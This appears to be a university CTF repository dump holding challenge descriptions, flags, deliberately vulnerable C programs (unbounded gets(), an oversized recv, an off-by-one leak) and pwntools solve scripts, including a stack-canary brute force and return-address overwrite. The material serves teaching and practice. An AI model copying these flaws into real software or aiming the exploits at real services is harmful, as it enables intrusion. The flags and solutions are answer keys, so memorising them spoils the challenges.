In the source code of `index.php`, we can find that for each try, a POST-request is sent to `success.php`. The post request contains 3 values: `try100`, `try10` and `try1`. In the brute-force we have to enumerate each value from 0 to 9. We can check each response for the flag by looking for `"IG{`. If we got a match the respons might contain a flag.
|
||||
|
||||
A simple brute-force program in Python would look like this:
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
# change URL path
|
||||
url = "success.php"
|
||||
|
||||
def checkForSolution(text):
|
||||
if text.find("IG{") == -1:
|
||||
return False
|
||||
else:
|
||||
substr = text.find("IG{")
|
||||
print(text[substr:text.find("}", substr) + 1])
|
||||
return True
|
||||
|
||||
def bruteForce():
|
||||
for h in range(10):
|
||||
for t in range(10):
|
||||
for u in range(10):
|
||||
param = {'try100': h, 'try10': t, 'try1': u}
|
||||
req = requests.post(url, data = param)
|
||||
print("try:", h, t, u)
|
||||
if checkForSolution(req.text):
|
||||
return True
|
||||
|
||||
bruteForce()
|
||||
```
|
||||
|
||||
## Easter eggs
|
||||
In `robots.txt` a file `flag.txt` is disallowed, this file contains an ascii-art of a beautiful flag.
|
||||
Trying combinations like '420' or '069' will redirect to a new page. Also a cookie is placed, as long as this cookie exists, the index page shows a 4-digit combination. However, this newly placed digit does not do anything.
|
||||
The cookie placed contains a Base64-string.
|
4
README.md
Normal file
@ -0,0 +1,4 @@
|
||||
# IGCTF writeups 2019-2020
|
||||
You can find all the challenges here in these folders. Each challenge folder should contain a SOLUTION.md that contains a (possible) solution for the challenge.
|
||||
|
||||
Have fun!
|
34
RubberDuckInc/readme.md
Normal file
@ -0,0 +1,34 @@
|
||||
**Title:** RubberDuckInc
|
||||
|
||||
**Description:** Welcome to Rubber Duck, Inc., the best rubber duck selling company in the World -- scratch that, Europe -- wait, Belgium... -- I meant Brussels... We sell all kinds of rubber ducks. Recently, some nasty hackers got really interested in our Point-of-Sales system. To alert us of any intrusions, we have installed a home-made cybersecurity alert system on our network. A couple of hours ago, this system had detected some kidn of malicious activity on our internal network. From what we can tell, one of our internal systems has been compromised to take part in some kind of hacker event. Luckily, just moments before we lost access to the entire network, our system sent us a complete log of all network traffic that occured immediately after the malicious activity got detected, and before we lost access to the system. Can you investigate what's going on and find the location of the flag?
|
||||
|
||||
**Flag:**
|
||||
|
||||
- `IG{Its_A-Good_Idea(To.Stretch[Your}Legs]Every0Once@In|A/While}`
|
||||
|
||||
**Hints:**
|
||||
|
||||
- First hint: `Get out of your chair(s)!`
|
||||
- Second hint: `Geocaching is a thing people enjoy!`
|
||||
|
||||
**Files given:**
|
||||
|
||||
`rubberduckinc-networklog.pcapng`
|
||||
|
||||
**How the challenge works:**
|
||||
|
||||
The pcap file contains some data about the location of the flag:
|
||||
|
||||
- Latitude and Longitude
|
||||
- WiFi SSID and Password
|
||||
- Server IP and open ports
|
||||
|
||||
There is some noise in the data such as an open ssh connection, some pings, and the lyrics of Rick Astley's "Never Gonna Give You Up", however all important data can be found as http traffic on port 80.
|
||||
|
||||
There will be a WiFi network installed on-campus, on the given location, and with the given credentials. The flag can be retrieved by connecting to this network, opening a browser, and reading a flag.
|
||||
|
||||
A smartphone is sufficient to find the flag once on-site! No special devices are required.
|
||||
|
||||
**How to deploy:**
|
||||
|
||||
Physical deployment is handled by Robin Vanderstraeten!
|
BIN
RubberDuckInc/rubberduckinc-networklog.pcapng
Normal file
0
Shrek-is-back/.gitkeep
Normal file
26
Shrek-is-back/README.md
Normal file
@ -0,0 +1,26 @@
|
||||
# CHALLENGE Shrek is back
|
||||
|
||||
A forensics-type CTF challenge
|
||||
|
||||
|
||||
## Description
|
||||
I want Mike Myers to put his signature on this beautiful peace of art, but I can't seem to open it...
|
||||
Apperently there also is a flag in this _image_.
|
||||
|
||||
|
||||
## Flag
|
||||
`IG{GeT_ShReKeD}`
|
||||
|
||||
|
||||
## Given files
|
||||
* script.jpg
|
||||
The file is corrupted, by extend gitlab doesn't want to upload it as `.jpg`.
|
||||
|
||||
|
||||
## How the challenge works
|
||||
The image is actually a docx-file. The file signature has been replaced by X's, because of this it won't open in any way (invalid hex file). The most conventional way to solve is as following:
|
||||
1. remove `X`'s from the file
|
||||
2. apply `strings` (now you see it is a docx-file)
|
||||
3. find file signature online: `50 4B 03 04 14 00 06 00`
|
||||
4. set file signature, open in Word/Writer
|
||||
5. flag is in image on last page of the file
|
10871
Shrek-is-back/script
Normal file
BIN
Waldo/Christmass.png
Normal file
After Width: | Height: | Size: 390 KiB |
BIN
Waldo/Hidden.png
Normal file
After Width: | Height: | Size: 273 KiB |
28
Waldo/README.md
Normal file
@ -0,0 +1,28 @@
|
||||
#Stenography
|
||||
|
||||
This challenge uses Stenography to hide an image inside another image.
|
||||
The principle behind is quite simple and the technique used here is known as LSB Stenography or "Least Significant Bit" stenography.
|
||||
when working with images, each pixel holds an RGB or RGBA value. The least significant bit of each R G or B value changes the color to its immediate neighbor out of a range of 255. The image can later be constructed, however with a loss of data since we can only recover the MSB (Most significant bit)
|
||||
|
||||
This script has been written rapidely and only works for images that have the same since.
|
||||
|
||||
assume the following 2 pictures.
|
||||
|
||||
A christmass cards seems innocent enough that no one will expect something to be hidden there
|
||||
|
||||
![Christmass.png](Christmass.png "Christmass card")
|
||||
|
||||
and were are going to hide Waldo REALLY well this time
|
||||
|
||||
|
||||
![WaldoFlag.png](WaldoFlag.png "WaldoFlag")
|
||||
|
||||
This script will create the flag picture and looks like this
|
||||
|
||||
![Hidden.png](Hidden.png "Christmass card with flag embedded")
|
||||
|
||||
When we try to recover it again, the flag will have changed slightly because we are only saving and recovering the MSB but it is still readable.
|
||||
|
||||
The results after decryption looks as follow
|
||||
|
||||
![revert.png](revert.png "Recovered flag")
|
BIN
Waldo/WaldoFlag.png
Normal file
After Width: | Height: | Size: 86 KiB |
43
Waldo/bytes.py
Normal file
@ -0,0 +1,43 @@
|
||||
|
||||
def int2byte(n):
|
||||
if n >= 2 ** 8:
|
||||
raise Exception('a byte can only contain a number smaller then %s' % (2 ** 8))
|
||||
|
||||
bits = [0] * 8
|
||||
|
||||
for i in range(8):
|
||||
j = 7 - i
|
||||
c = 2 ** j
|
||||
|
||||
if c <= n:
|
||||
n -= c
|
||||
bits[i] = 1
|
||||
|
||||
return bits
|
||||
|
||||
|
||||
def byte2int(byte):
|
||||
result = 0
|
||||
for i in range(len(byte)):
|
||||
j = 7 - i
|
||||
c = 2 ** i
|
||||
|
||||
result += c * byte[j]
|
||||
|
||||
return result
|
||||
|
||||
def test(x):
|
||||
b = int2byte(x)
|
||||
print(x, '\t', b, '\t', byte2int(b))
|
||||
|
||||
|
||||
|
||||
def swapMSB2LSB(origin, target, numberOfBits):
|
||||
target[len(target) - numberOfBits:] = origin[0:numberOfBits]
|
||||
return target
|
||||
|
||||
def extractLSB(byte, numberOfBits):
|
||||
newByte = [0] * 8
|
||||
newByte[0:numberOfBits] = byte[len(byte) - numberOfBits:]
|
||||
return newByte
|
||||
|
75
Waldo/main.py
Normal file
@ -0,0 +1,75 @@
|
||||
from PIL import Image
|
||||
import bytes
|
||||
|
||||
TARGETIMAGE = 'Christmass.png'
|
||||
FLAGIMAGE = 'WaldoFlag.png'
|
||||
|
||||
|
||||
Target = Image.open(TARGETIMAGE)
|
||||
Flag = Image.open(FLAGIMAGE)
|
||||
|
||||
newImg = Target.copy()
|
||||
|
||||
(TargetMaxX, TargetMaxY) = newImg.size
|
||||
(FlagMaxX, FlagMaxY) = Flag.size
|
||||
|
||||
if ((TargetMaxX != FlagMaxX) or (TargetMaxX != FlagMaxX)):
|
||||
raise Exception("This does not work with images of different sizes (yet)")
|
||||
|
||||
|
||||
def Merge(OriginRGBA, TargetRGBA, numberOfBits=1):
|
||||
OriginBytes = [bytes.int2byte(x) for x in OriginRGBA]
|
||||
TargetBytes = [bytes.int2byte(x) for x in TargetRGBA]
|
||||
newbytes = [0] * len(TargetBytes)
|
||||
|
||||
|
||||
for i in range(len(OriginBytes)):
|
||||
newbytes[i] = bytes.swapMSB2LSB(OriginBytes[i], TargetBytes[i], numberOfBits)
|
||||
|
||||
# print(OriginBytes, TargetBytes, newbytes)
|
||||
|
||||
return tuple([bytes.byte2int(b) for b in TargetBytes])
|
||||
|
||||
for y in range(FlagMaxY):
|
||||
for x in range(FlagMaxX):
|
||||
OriginRGBA = Flag.getpixel((x, y))
|
||||
TargetRGBA = Target.getpixel((x, y))
|
||||
|
||||
newValues = Merge(OriginRGBA, TargetRGBA)
|
||||
|
||||
print('%s / %s X \t-\t %s / %s Y' % (x, FlagMaxX, y, FlagMaxY))
|
||||
|
||||
newImg.putpixel((x, y), newValues)
|
||||
|
||||
# Target.close()
|
||||
# Flag.close()
|
||||
|
||||
print("saving")
|
||||
newImg.save("Hidden.png")
|
||||
print("done")
|
||||
|
||||
|
||||
def extract(TargetRGBA, numberOfBits=1):
|
||||
TargetBytes = [bytes.int2byte(x) for x in TargetRGBA]
|
||||
newbytes = [0] * len(TargetBytes)
|
||||
|
||||
for i in range(len(TargetBytes)):
|
||||
newbytes[i] = bytes.extractLSB(TargetBytes[i], numberOfBits)
|
||||
# print(newbytes, end="\n")
|
||||
|
||||
return tuple([bytes.byte2int(b) for b in newbytes])
|
||||
|
||||
|
||||
revert = newImg.copy()
|
||||
|
||||
for y in range(FlagMaxY):
|
||||
for x in range(FlagMaxX):
|
||||
print('%s / %s X \t-\t %s / %s' % (x, FlagMaxX, y, FlagMaxY))
|
||||
|
||||
# print([bytes.int2byte(x) for x in Flag.getpixel((x, y))], end="\t - \t")
|
||||
|
||||
revert.putpixel((x, y), extract(newImg.getpixel((x, y))))
|
||||
|
||||
# print("---\n")
|
||||
|
||||
revert.save("revert.png")
|
BIN
Waldo/revert.png
Normal file
After Width: | Height: | Size: 18 KiB |
8
bliep/Dockerfile
Normal file
@ -0,0 +1,8 @@
|
||||
FROM ubuntu
|
||||
|
||||
COPY bliep /bliep
|
||||
RUN chmod +x /bliep
|
||||
RUN useradd ctf
|
||||
USER ctf
|
||||
|
||||
CMD ["/bliep"]
|
25
bliep/README
Normal file
@ -0,0 +1,25 @@
|
||||
== Bliep ==
|
||||
|
||||
=== Description ===
|
||||
|
||||
We found the partial source code for some online service. Can you figure out how to extract the flag?
|
||||
|
||||
=== Flag ===
|
||||
|
||||
CSC{K03k735_Z1jn_73kker}
|
||||
|
||||
=== Public Files ===
|
||||
|
||||
bliep_clean.c should be given
|
||||
|
||||
=== Challenge internals ===
|
||||
|
||||
Off-by-one error, allow the null byte of the name string to have no null terminator. If the age field is set to a number which does not contain null bytes, then when the name is printed it will print name+age+flag.
|
||||
|
||||
+----------------------PERSON---------------+------------+
|
||||
| 28 bytes NAME | 8 bytes AGE | FLAG |
|
||||
+-------------------------+-----------------+------------+
|
||||
|
||||
=== Deployment instructions ===
|
||||
|
||||
TODO, something something netcat?
|
BIN
bliep/bliep
Executable file
62
bliep/bliep.c
Normal file
@ -0,0 +1,62 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void read(char *res, int maxsize);
|
||||
|
||||
struct Person {
|
||||
char name[28];
|
||||
int age;
|
||||
};
|
||||
|
||||
void printPerson(struct Person *p) {
|
||||
printf("%s is %d years old\n", p->name, p->age);
|
||||
}
|
||||
|
||||
void readPerson(struct Person *p) {
|
||||
printf("Enter your name: ");
|
||||
fflush(stdout);
|
||||
read(p->name, sizeof p->name);
|
||||
|
||||
do {
|
||||
printf("Enter your age: ");
|
||||
fflush(stdout);
|
||||
scanf("%d", &p->age);
|
||||
} while (p->age < 0);
|
||||
}
|
||||
|
||||
|
||||
void read(char *res, int maxsize) {
|
||||
/* initialize each element to 0 to ensure that the result is null terminated */
|
||||
char buffer[1024] = {0};
|
||||
int ch;
|
||||
int i = 0;
|
||||
|
||||
// break on newline, max size or end-of-file
|
||||
while((ch=getchar()) != '\n' && i < maxsize)
|
||||
{
|
||||
if (ch == EOF) break;
|
||||
buffer[i++] = ch;
|
||||
}
|
||||
|
||||
memcpy(res, buffer, maxsize);
|
||||
}
|
||||
|
||||
void greet() {
|
||||
struct Person p;
|
||||
|
||||
char flag[32];
|
||||
strcpy(flag, "CSC{K03k735_Z1jn_73kker}");
|
||||
|
||||
readPerson(&p);
|
||||
printPerson(&p);
|
||||
|
||||
if (strcmp(p.name, flag) == 0) {
|
||||
printf("Wauw, you have the same name as our flag!");
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
greet();
|
||||
return 0;
|
||||
}
|
60
bliep/bliep_clean.c
Normal file
@ -0,0 +1,60 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void read(char *res, int maxsize);
|
||||
|
||||
struct Person {
|
||||
char name[28];
|
||||
int age;
|
||||
};
|
||||
|
||||
void printPerson(struct Person *p) {
|
||||
printf("%s is %d years old\n", p->name, p->age);
|
||||
}
|
||||
|
||||
void readPerson(struct Person *p) {
|
||||
printf("Enter your name: ");
|
||||
read(p->name, sizeof p->name);
|
||||
|
||||
do {
|
||||
printf("Enter your age: ");
|
||||
scanf("%d", &p->age);
|
||||
} while (p->age < 0);
|
||||
}
|
||||
|
||||
|
||||
void read(char *res, int maxsize) {
|
||||
/* initialize each element to 0 to ensure that the result is null terminated */
|
||||
char buffer[1024] = {0};
|
||||
int ch;
|
||||
int i = 0;
|
||||
|
||||
// break on newline, max size or end-of-file
|
||||
while((ch=getchar()) != '\n' && i < maxsize)
|
||||
{
|
||||
if (ch == EOF) break;
|
||||
buffer[i++] = ch;
|
||||
}
|
||||
|
||||
memcpy(res, buffer, maxsize);
|
||||
}
|
||||
|
||||
void greet() {
|
||||
struct Person p;
|
||||
|
||||
char flag[32];
|
||||
strcpy(flag, "<REMOVED>");
|
||||
|
||||
readPerson(&p);
|
||||
printPerson(&p);
|
||||
|
||||
if (strcmp(p.name, flag) == 0) {
|
||||
printf("Wauw, you have the same name as our flag!");
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
greet();
|
||||
return 0;
|
||||
}
|
17
call_me_maybe/Dockerfile
Normal file
@ -0,0 +1,17 @@
|
||||
FROM ubuntu
|
||||
|
||||
RUN mkdir /src
|
||||
WORKDIR /src
|
||||
COPY call_me_maybe.c .
|
||||
|
||||
RUN apt-get update && \
|
||||
apt-get install -y build-essential
|
||||
|
||||
RUN gcc -fno-stack-protector -o call_me_maybe call_me_maybe.c
|
||||
RUN cp /src/call_me_maybe /
|
||||
RUN rm -r /src
|
||||
RUN chmod +x /call_me_maybe
|
||||
RUN useradd ctf
|
||||
|
||||
USER ctf
|
||||
CMD ["/call_me_maybe"]
|
28
call_me_maybe/README
Normal file
@ -0,0 +1,28 @@
|
||||
== Call me maybe ==
|
||||
|
||||
=== Description ===
|
||||
|
||||
We are given a mysterious address, can we use it to recover the flag?
|
||||
|
||||
=== Flag ===
|
||||
|
||||
Whatever is set in the environment variable IG_FLAG
|
||||
|
||||
=== Public Files ===
|
||||
|
||||
No file should be given
|
||||
|
||||
=== Challenge internals ===
|
||||
|
||||
Classical buffer overflow, replace the return address with address given, this will print the flag.
|
||||
Basically, just enter 40 A's and the address in little endian.
|
||||
|
||||
+-------------------------+-----------------+-----------------+
|
||||
| 32 byte buffer | EBP 8 bytes | RET ADDR |
|
||||
+-------------------------+-----------------+-----------------+
|
||||
^replace with A ^replace with A ^replace with addr
|
||||
|
||||
|
||||
=== Deployment instructions ===
|
||||
|
||||
TODO, something something netcat?
|
BIN
call_me_maybe/call_me_maybe
Executable file
39
call_me_maybe/call_me_maybe.c
Normal file
@ -0,0 +1,39 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
void printflag() {
|
||||
printf("The flag is %s\n", getenv("IG_FLAG"));
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
void login() {
|
||||
char buffer[32];
|
||||
|
||||
printf("Enter the password: \n");
|
||||
fflush(stdout);
|
||||
gets(buffer);
|
||||
|
||||
if(strcmp(buffer, getenv("IG_PASSWORD")))
|
||||
{
|
||||
printf ("Wrong!\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf ("Correct!\n");
|
||||
fflush(stdout);
|
||||
printflag();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
printf("Pointer to printflag is %p\n", printflag);
|
||||
fflush(stdout);
|
||||
login();
|
||||
|
||||
return 0;
|
||||
}
|
BIN
call_me_maybe/call_me_maybe.o
Normal file
14
call_me_maybe/solve/pwn.py
Normal file
@ -0,0 +1,14 @@
|
||||
from pwn import *
|
||||
|
||||
offset = 32
|
||||
|
||||
r = process('../call_me_maybe')
|
||||
stdout = r.recvuntil("Pointer to printflag is 0x")
|
||||
addr = int(r.recvuntil("\n"), 16)
|
||||
|
||||
print("Pointer is %x" % addr)
|
||||
|
||||
exploit = "A"*offset + "B"*8 + p64(addr)
|
||||
r.sendline(exploit)
|
||||
|
||||
print(r.recv())
|
8
call_me_maybe/test.sh
Executable file
@ -0,0 +1,8 @@
|
||||
#!/bin/bash
|
||||
|
||||
gcc -fno-stack-protector -o call_me_maybe call_me_maybe.c
|
||||
|
||||
export IG_PASSWORD=random_password
|
||||
export IG_FLAG="CSC{IG_CTF}"
|
||||
|
||||
./call_me_maybe
|
29
call_me_more/README
Normal file
@ -0,0 +1,29 @@
|
||||
== Call me more ==
|
||||
|
||||
=== Description ===
|
||||
|
||||
We are given a mysterious address, can we use it to recover the flag? It doesn't seem to be as easy as the last time.
|
||||
|
||||
=== Flag ===
|
||||
|
||||
Whatever is set in the environment variable IG_FLAG
|
||||
|
||||
=== Public Files ===
|
||||
|
||||
No file should be given
|
||||
|
||||
=== Challenge internals ===
|
||||
|
||||
Classical buffer overflow, but with need to bruteforce the canary flag.
|
||||
|
||||
The binary is a tcp server, for every client it forks. Canary flags are shared between forked processes, so it's possible to bruteforce the canary by overflowing a byte of the canary and checking when the applications acts normal and when not. After the canary flag is bruteforced, just replace the ret addr with the given addr.
|
||||
|
||||
+-------------------------+-8bytes-+-----------------+-----------------+
|
||||
| 32 byte buffer | CANARY | EBP 8 bytes | RET ADDR |
|
||||
+-------------------------+--------+-----------------+-----------------+
|
||||
^replace with A ^bruteforce ^replace with A ^replace with addr
|
||||
|
||||
|
||||
=== Deployment instructions ===
|
||||
|
||||
The server runs by default on port 2345, just deploy in a docker container or something.
|
BIN
call_me_more/server
Executable file
113
call_me_more/server.c
Normal file
@ -0,0 +1,113 @@
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
|
||||
int guard(int n, char *err)
|
||||
{
|
||||
if (n == -1)
|
||||
{
|
||||
perror(err);
|
||||
exit(1);
|
||||
}
|
||||
return n;
|
||||
}
|
||||
|
||||
|
||||
int g_fd = 0;
|
||||
|
||||
void printflag()
|
||||
{
|
||||
printf("Hello!");
|
||||
char *flag = getenv("IG_FLAG");
|
||||
send(g_fd, flag, strlen(flag), 0);
|
||||
send(g_fd, "\n", 1, 0);
|
||||
}
|
||||
|
||||
int login(int fd)
|
||||
{
|
||||
g_fd = fd;
|
||||
char pw[32] = {0};
|
||||
char *pwd = "Enter the password:\n";
|
||||
char *correct = "Correct!\n";
|
||||
|
||||
printf("%x\n",(long)*(&pw + 32 + 8));
|
||||
sprintf(pw, "%s\r\n", getenv("IG_PASSWORD"));
|
||||
|
||||
|
||||
char buf[32];
|
||||
|
||||
send(fd, pwd, strlen(pwd), 0);
|
||||
|
||||
ssize_t num_bytes_received = guard(recv(fd, buf, 96, 0), "Could not recv on TCP connection");
|
||||
if (num_bytes_received <2)
|
||||
return 0;
|
||||
|
||||
//buf[num_bytes_received-2] = 0;
|
||||
|
||||
if (strcmp(buf, pw))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
send(fd, correct, strlen(correct), 0);
|
||||
printflag(fd);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *wrong = "Wrong!\n";
|
||||
int opt = 1;
|
||||
int listen_fd = guard(socket(AF_INET, SOCK_STREAM, 0), "Could not create TCP socket");
|
||||
printf("Created new socket %d\n", listen_fd);
|
||||
|
||||
struct sockaddr_in listen_addr = {0};
|
||||
|
||||
listen_addr.sin_family = AF_INET;
|
||||
listen_addr.sin_addr.s_addr = htonl(INADDR_ANY);
|
||||
listen_addr.sin_port = htons(2345);
|
||||
|
||||
guard(setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
|
||||
&opt, sizeof(opt)),
|
||||
"could not set opt");
|
||||
guard(bind(listen_fd, (struct sockaddr *)&listen_addr, sizeof(listen_addr)), "Could not bind");
|
||||
guard(listen(listen_fd, 100), "Could not listen on TCP socket");
|
||||
|
||||
printf("Listening for connections on port %d\n", ntohs(listen_addr.sin_port));
|
||||
for (;;)
|
||||
{
|
||||
int conn_fd = accept(listen_fd, NULL, NULL);
|
||||
printf("Got new connection %d\n", conn_fd);
|
||||
if (guard(fork(), "Could not fork") == 0)
|
||||
{
|
||||
pid_t my_pid = getpid();
|
||||
printf("%d: forked\n", my_pid);
|
||||
char buf[100];
|
||||
|
||||
sprintf(buf, "Pointer to printflag is %p\n", printflag);
|
||||
guard(send(conn_fd, buf, strlen(buf), 0), "Could not send to TCP connection");
|
||||
|
||||
if (!login(conn_fd)) {
|
||||
send(conn_fd, wrong, strlen(wrong), 0);
|
||||
}
|
||||
|
||||
printf("%d: received end-of-connection; closing connection and exiting\n", my_pid);
|
||||
guard(shutdown(conn_fd, SHUT_WR), "Could not shutdown TCP connection");
|
||||
guard(close(conn_fd), "Could not close TCP connection");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
{
|
||||
// Child takes over connection; close it in parent
|
||||
close(conn_fd);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
42
call_me_more/solve/solve.py
Normal file
@ -0,0 +1,42 @@
|
||||
from pwn import *
|
||||
|
||||
context.log_level = 'error'
|
||||
|
||||
offset = 32
|
||||
y = 0
|
||||
|
||||
buf = ("A"*offset + "B"*8) #+ p64(0xead62b27d92cf000) # +chr(0)+chr(191)+chr(217)+chr(151)+chr(59)+chr(107)+chr(161)+chr(22)
|
||||
|
||||
i=0
|
||||
g=0
|
||||
while i != 0x100 and g<8:
|
||||
|
||||
r = remote('127.0.0.1', 2345)
|
||||
r.recvuntil("Pointer to printflag is 0x")
|
||||
addr = int(r.recvuntil("\n"), 16)
|
||||
|
||||
#print("Pointer is %x" % addr)
|
||||
|
||||
exploit = buf + chr(i) #+ p64(addr)
|
||||
r.send(exploit)
|
||||
|
||||
try:
|
||||
r.recvuntil("Wrong!")
|
||||
buf = buf + chr(i)
|
||||
print(str(i))
|
||||
i=0
|
||||
g=g+1
|
||||
except:
|
||||
print ".",
|
||||
i=i+1
|
||||
r.close()
|
||||
|
||||
|
||||
r = remote('127.0.0.1', 2345)
|
||||
stdout = r.recvuntil("Pointer to printflag is 0x")
|
||||
addr = int(r.recvuntil("\n"), 16)
|
||||
print("Pointer is %x" % addr)
|
||||
exploit = buf + p64(addr) + p64(addr)
|
||||
print(exploit)
|
||||
r.send(exploit)
|
||||
print(r.recv())
|
8
call_me_more/test.sh
Executable file
@ -0,0 +1,8 @@
|
||||
#!/bin/bash
|
||||
|
||||
gcc -o server server.c
|
||||
|
||||
export IG_PASSWORD=random_password
|
||||
export IG_FLAG="CSC{IG_CTF}"
|
||||
|
||||
./server
|
16
parentheses/README.md
Normal file
@ -0,0 +1,16 @@
|
||||
# Parentheses
|
||||
|
||||
## Description
|
||||
I found a lot of parenthesis when I was cleaning my attic.
|
||||
Since I had no use for them, I threw them all in this little scheme program.
|
||||
It seems to have obfuscated my code a bit though, I can't seem to figure out what it does...
|
||||
Can you help me out here?
|
||||
|
||||
## Given files
|
||||
mystery.rkt
|
||||
|
||||
## Flag
|
||||
IG{ImAllOutOfParenthesisNow:(}
|
||||
|
||||
## Solution
|
||||
The solution can be found in reverse.rkt
|
14
parentheses/mystery.rkt
Normal file
@ -0,0 +1,14 @@
|
||||
#lang racket
|
||||
|
||||
(define (read-flag)
|
||||
(let ((args (current-command-line-arguments)))
|
||||
(cond
|
||||
((= (vector-length args) 0)
|
||||
(displayln "No flag given")
|
||||
(exit))
|
||||
(else
|
||||
(fun (vector-ref args 0))))))
|
||||
|
||||
(define fun (((((((((((((λ (a) (λ (b) (λ (c) (λ (d) (λ (i) (λ (j) (λ (e) (λ (g) (λ (p) (λ (q) (λ (r) (λ (s) (λ (f) (((((a (c q (c (i e s) (c (i q s) (c (i p r) (c (i e j) (c d (b f)))))))) g) (λ (g) (displayln "Thats the flag!"))) (λ (h) (displayln "Not the flag :("))) f)))))))))))))) ((λ (f) (λ (a) (λ (b) (if (f a b) (λ (x) (λ (y) x)) (λ (x) (λ (y) y)))))) equal?)) string->list) map) char->integer) curry) 42) bitwise-xor) '(166 210 154 166 110 214 100 100 162 190 180 162 152 204 150 144 158 104 180 124 158 138 102 138 168 98 178 32 -4 142)) *) -) 2) 20))
|
||||
|
||||
(read-flag)
|
13
parentheses/reverse.rkt
Normal file
@ -0,0 +1,13 @@
|
||||
#lang racket
|
||||
|
||||
(define start '(166 210 154 166 110 214 100 100 162 190 180 162 152 204 150 144 158 104 180 124 158 138 102 138 168 98 178 32 -4 142))
|
||||
|
||||
(define d (map - start))
|
||||
(define x (map (curry bitwise-xor 20) d))
|
||||
(define dd (map - x))
|
||||
(define y (map (curry + 20) dd))
|
||||
(define z (map (λ (x) (/ x 2)) y))
|
||||
(define a (map (curry bitwise-xor 42) z))
|
||||
(define b (map integer->char a))
|
||||
(define c (list->string b))
|
||||
c
|
3
pharo-challenge/.properties
Normal file
@ -0,0 +1,3 @@
|
||||
{
|
||||
#format : #tonel
|
||||
}
|
19
pharo-challenge/CTF/Challenge.class.st
Normal file
@ -0,0 +1,19 @@
|
||||
Class {
|
||||
#name : #Challenge,
|
||||
#superclass : #Object,
|
||||
#category : #CTF
|
||||
}
|
||||
|
||||
{ #category : #decoration }
|
||||
Challenge class >> prepare [
|
||||
Metaclass compile:'>> selector LookupError signal'.
|
||||
]
|
||||
|
||||
{ #category : #accessing }
|
||||
Challenge >> flag [
|
||||
| caller |
|
||||
caller := thisContext client.
|
||||
((caller class) = Squeak) ifTrue: [ ^ 'FLAG' ].
|
||||
|
||||
^ 'Only a Squeak can do that'.
|
||||
]
|
5
pharo-challenge/CTF/InitialisationError.class.st
Normal file
@ -0,0 +1,5 @@
|
||||
Class {
|
||||
#name : #InitialisationError,
|
||||
#superclass : #Error,
|
||||
#category : #CTF
|
||||
}
|
5
pharo-challenge/CTF/LookupError.class.st
Normal file
@ -0,0 +1,5 @@
|
||||
Class {
|
||||
#name : #LookupError,
|
||||
#superclass : #Error,
|
||||
#category : #CTF
|
||||
}
|
35
pharo-challenge/CTF/REPL.class.st
Normal file
@ -0,0 +1,35 @@
|
||||
Class {
|
||||
#name : #REPL,
|
||||
#superclass : #Object,
|
||||
#category : #CTF
|
||||
}
|
||||
|
||||
{ #category : #running }
|
||||
REPL class >> run [
|
||||
| running command answer |
|
||||
running := true.
|
||||
Transcript show:'Welcome to Pharo 7.0 (Smalltalk Environment) Pharo.org'; cr; cr;
|
||||
show: 'To get started create an instance of the class Challenge and, like so:'; cr;
|
||||
show: '> Challenge new.'; cr;
|
||||
show: 'This wil result in a value called "a Challenge"'; cr;
|
||||
show: 'To obtain the flag run the following'; cr;
|
||||
show: '> Challenge new flag.'; cr; cr;
|
||||
show: 'Does it show up? '; cr.
|
||||
|
||||
[ 5 minutes wait. running := false. ] fork.
|
||||
|
||||
[ running ] whileTrue: [
|
||||
Transcript show:'> '.
|
||||
command := FileStream stdin nextLine .
|
||||
(command = 'exit') ifTrue: [
|
||||
running := false
|
||||
] ifFalse: [
|
||||
answer := [self class compiler evaluate: command] on:Exception do: [ :exception | Transcript show: 'Whoops, an error occured '. exception asString ] .
|
||||
Transcript show:answer asString .
|
||||
Transcript cr.
|
||||
]
|
||||
|
||||
].
|
||||
|
||||
^ nil.
|
||||
]
|
15
pharo-challenge/CTF/Squeak.class.st
Normal file
@ -0,0 +1,15 @@
|
||||
Class {
|
||||
#name : #Squeak,
|
||||
#superclass : #Object,
|
||||
#category : #CTF
|
||||
}
|
||||
|
||||
{ #category : #'instance creation' }
|
||||
Squeak class >> basicNew [
|
||||
InitialisationError signal.
|
||||
]
|
||||
|
||||
{ #category : #'as yet unclassified' }
|
||||
Squeak >> fetchFlag [
|
||||
^ Challenge flag.
|
||||
]
|
1
pharo-challenge/CTF/package.st
Normal file
@ -0,0 +1 @@
|
||||
Package { #name : #CTF }
|
161
pharo-challenge/writeup/README.md
Normal file
@ -0,0 +1,161 @@
|
||||
Looking in to the mirror
|
||||
============================
|
||||
|
||||
## Introduction
|
||||
|
||||
This challenge was about employing reflection techniques to modify and view internal structures of the virtual machine.
|
||||
|
||||
Pharo is a Smalltalk environment, most widely known for its metaprogramming and reflection capabilities. Everything in Smalltalk is an object, and every object is an instance of a class, even a class itself is an instance of something (a metaclass).
|
||||
|
||||
The syntax of a Smalltalk program is relatively simple, the most important part is how to send messages (in other object oriented languages also called: invoking a method).
|
||||
|
||||
Lets say we want to send a message `newWithName` to a class `Person`, this can be achieved as follows:
|
||||
|
||||
```
|
||||
p := Person newWithName:'Bram'.
|
||||
```
|
||||
|
||||
Now the variable `p` contains a reference to an instance of the class `Person`.
|
||||
|
||||
